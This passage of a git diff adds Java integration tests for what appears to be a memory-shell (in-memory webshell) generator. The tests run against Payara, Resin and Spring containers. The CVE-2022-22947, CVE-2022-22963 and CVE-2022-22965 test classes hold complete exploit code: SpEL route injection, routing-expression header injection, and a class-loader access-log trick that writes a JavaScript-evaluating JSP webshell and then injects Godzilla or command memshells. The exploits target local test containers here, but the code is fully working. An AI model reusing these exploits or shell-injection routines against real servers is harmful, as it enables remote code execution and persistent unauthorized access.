public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
package com.reajason.javaweb.integration.memshell.payara;
|
||||
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Payara7202606ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"payara/server-web:7.2026.6",
|
||||
"/opt/payara/deployments/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V11)
|
||||
.waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200))
|
||||
.assertLogs(false)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
package com.reajason.javaweb.integration.memshell.resin;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
@Testcontainers
|
||||
public class Resin2117ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||
.builder()
|
||||
.imageName("reajason/resin:2.1.17-jdk6")
|
||||
.server(Server.Resin2)
|
||||
.warFile(ContainerTool.servlet2WarFile)
|
||||
.warDeployPath("/usr/local/resin2/webapps/app.war")
|
||||
.pidScript(ContainerTool.resinPid)
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER
|
||||
))
|
||||
.enableJspPackerTest(false)
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.MediaType;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.RequestBody;
|
||||
import okhttp3.Response;
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class CVE202222947Test {
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> cve202222947 =
|
||||
new GenericContainer<>("vulhub/spring-cloud-gateway:3.1.0")
|
||||
.withExposedPorts(8080)
|
||||
.waitingFor(Wait.forHttp("/")
|
||||
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||
|
||||
@Test
|
||||
@DisplayName("CVE-2022-22947")
|
||||
void CVE_2022_22947() {
|
||||
String url = getUrl();
|
||||
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.SpELSpringGzip;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(
|
||||
urls.getRight(),
|
||||
Server.SpringWebFlux,
|
||||
null,
|
||||
shellType,
|
||||
shellTool,
|
||||
Opcodes.V1_8,
|
||||
shellToolConfig,
|
||||
packer);
|
||||
|
||||
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
injectBySpringCloudGateway(url, content);
|
||||
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void injectBySpringCloudGateway(String url, String expression) {
|
||||
String routeId = "memshell" + RandomStringUtils.randomAlphabetic(8);
|
||||
String routeUrl = url + "/actuator/gateway/routes/" + routeId;
|
||||
try {
|
||||
String body = """
|
||||
{
|
||||
"id": "%s",
|
||||
"filters": [{
|
||||
"name": "AddResponseHeader",
|
||||
"args": {
|
||||
"name": "Result",
|
||||
"value": "#{%s}"
|
||||
}
|
||||
}],
|
||||
"uri": "http://example.com"
|
||||
}
|
||||
""".formatted(routeId, expression);
|
||||
post(routeUrl, body, MediaType.parse("application/json"));
|
||||
post(url + "/actuator/gateway/refresh", "", null);
|
||||
} finally {
|
||||
deleteQuietly(routeUrl);
|
||||
postQuietly(url + "/actuator/gateway/refresh");
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private static void post(String url, String body, MediaType mediaType) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.post(RequestBody.create(body, mediaType))
|
||||
.build();
|
||||
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private static void postQuietly(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.post(RequestBody.create("", null))
|
||||
.build();
|
||||
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private static void deleteQuietly(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.delete()
|
||||
.build();
|
||||
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
}
|
||||
}
|
||||
|
||||
private static String getUrl() {
|
||||
String host = cve202222947.getHost();
|
||||
int port = cve202222947.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.MediaType;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.RequestBody;
|
||||
import okhttp3.Response;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class CVE202222963Test {
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> cve202222963 =
|
||||
new GenericContainer<>("vulhub/spring-cloud-function:3.2.2")
|
||||
.withExposedPorts(8080)
|
||||
.waitingFor(Wait.forHttp("/uppercase")
|
||||
.forStatusCodeMatching(code -> code == 200 || code == 405)
|
||||
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||
|
||||
@Test
|
||||
@DisplayName("CVE-2022-22963")
|
||||
void CVE_2022_22963() {
|
||||
String url = getUrl();
|
||||
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.SpELSpringGzip;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(
|
||||
urls.getRight(),
|
||||
Server.SpringWebFlux,
|
||||
null,
|
||||
shellType,
|
||||
shellTool,
|
||||
Opcodes.V1_8,
|
||||
shellToolConfig,
|
||||
packer);
|
||||
|
||||
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
injectBySpringCloudFunction(url, content);
|
||||
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void injectBySpringCloudFunction(String url, String expression) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url + "/functionRouter")
|
||||
.header("spring.cloud.function.routing-expression", expression)
|
||||
.post(RequestBody.create("test", MediaType.parse("text/plain")))
|
||||
.build();
|
||||
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
private static String getUrl() {
|
||||
String host = cve202222963.getHost();
|
||||
int port = cve202222963.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("eclipse-temurin:21.0.11_10-jdk")
|
||||
.jarFile(ContainerTool.springBoot4WebfluxJarFile)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.SpringWebFlux)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.enableJspPackerTest(false)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.jattachFile(null)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SPRING_WEBFLUX_WEB_FILTER,
|
||||
ShellType.SPRING_WEBFLUX_HANDLER_METHOD,
|
||||
ShellType.NETTY_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.Objects;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/16
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class CVE202222965Test {
|
||||
|
||||
private static final OkHttpClient CLIENT = new OkHttpClient();
|
||||
private static final String JSP_PATTERN = "%{c2}i { " +
|
||||
"StringBuilder script = new StringBuilder(); " +
|
||||
"String line; " +
|
||||
"java.io.BufferedReader reader = request.getReader(); " +
|
||||
"while ((line = reader.readLine()) != null) { script.append(line).append('\\n'); } " +
|
||||
"javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); " +
|
||||
"if (engine == null) { throw new IllegalStateException(\"js engine is null\"); } " +
|
||||
"Object result = engine.eval(script.toString()); " +
|
||||
"if (result != null) { out.print(result); } " +
|
||||
"} %{suffix}i";
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> cve202222965 =
|
||||
new GenericContainer<>("vulhub/spring-webmvc:5.3.17")
|
||||
.withExposedPorts(8080)
|
||||
.waitingFor(Wait.forHttp("/")
|
||||
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||
|
||||
@Test
|
||||
@DisplayName("CVE-2022-22965")
|
||||
void CVE_2022_22965() {
|
||||
String url = getUrl();
|
||||
String jsEngineJspUrl = writeJsEngineJsp(url);
|
||||
assertJsEngineJspIsReady(jsEngineJspUrl);
|
||||
clearAccessLogPattern(url);
|
||||
|
||||
String shellType = ShellType.FILTER;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.ScriptEngine;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(
|
||||
urls.getRight(),
|
||||
Server.Tomcat,
|
||||
null,
|
||||
shellType,
|
||||
shellTool,
|
||||
Opcodes.V11,
|
||||
shellToolConfig,
|
||||
packer);
|
||||
|
||||
executeScript(jsEngineJspUrl, packer.getInstance().pack(generateResult.toClassPackerConfig()));
|
||||
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private String writeJsEngineJsp(String url) {
|
||||
HttpUrl exploitUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", JSP_PATTERN)
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.suffix", ".jsp")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.directory", "webapps/ROOT")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.prefix", "memshellparty")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat", "")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.buffered", "false")
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(exploitUrl)
|
||||
.header("c2", "<%")
|
||||
.header("suffix", "%>//")
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
writeJsEngineJspAccessLog(url);
|
||||
return url + "/memshellparty.jsp";
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void writeJsEngineJspAccessLog(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.header("c2", "<%")
|
||||
.header("suffix", "%>//")
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void assertJsEngineJspIsReady(String jsEngineJspUrl) {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
Request request = new Request.Builder()
|
||||
.url(jsEngineJspUrl)
|
||||
.header("c2", "<%")
|
||||
.header("suffix", "%>//")
|
||||
.post(RequestBody.create("1 + 1", MediaType.parse("text/plain")))
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
if (response.code() == 200 && Objects.requireNonNull(response.body()).string().contains("2")) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Thread.sleep(500);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void executeScript(String jsEngineJspUrl, String script) {
|
||||
Request request = new Request.Builder()
|
||||
.url(jsEngineJspUrl)
|
||||
.post(RequestBody.create(script, MediaType.parse("text/plain")))
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
assertNotEquals(500, response.code(), response.body().string());
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void clearAccessLogPattern(String url) {
|
||||
HttpUrl resetUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", "")
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(resetUrl)
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
private static String getUrl() {
|
||||
String host = cve202222965.getHost();
|
||||
int port = cve202222965.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+2
-1
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
public class SpringBoot4ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("eclipse-temurin:21.0.11_10-jdk")
|
||||
.jarFile(ContainerTool.springBoot4JarFile)
|
||||
.jakarta(true)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.SpringWebMvc)
|
||||
.pidScript(ContainerTool.springbootPid)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.enableJspPackerTest(false)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||
))
|
||||
.testPackers(List.of(Packers.H2))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.assertLogs(false)
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
|
||||
))
|
||||
.build();
|
||||
|
||||
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("springboot4")
|
||||
.server(Server.Tomcat)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
// ShellType.LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.H2))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
return generateTestCases(TOMCAT_CONFIG);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("tomcatCasesProvider")
|
||||
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot4ExpressionContainerTest {
|
||||
public static final String imageName = "springboot4";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:21.0.11_10-jdk")
|
||||
.withCopyFileToContainer(springBoot4JarFile, "/app/app.jar")
|
||||
.withCommand("java -jar /app/app.jar")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||
);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
|
||||
}
|
||||
}
|
||||
+1
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
||||
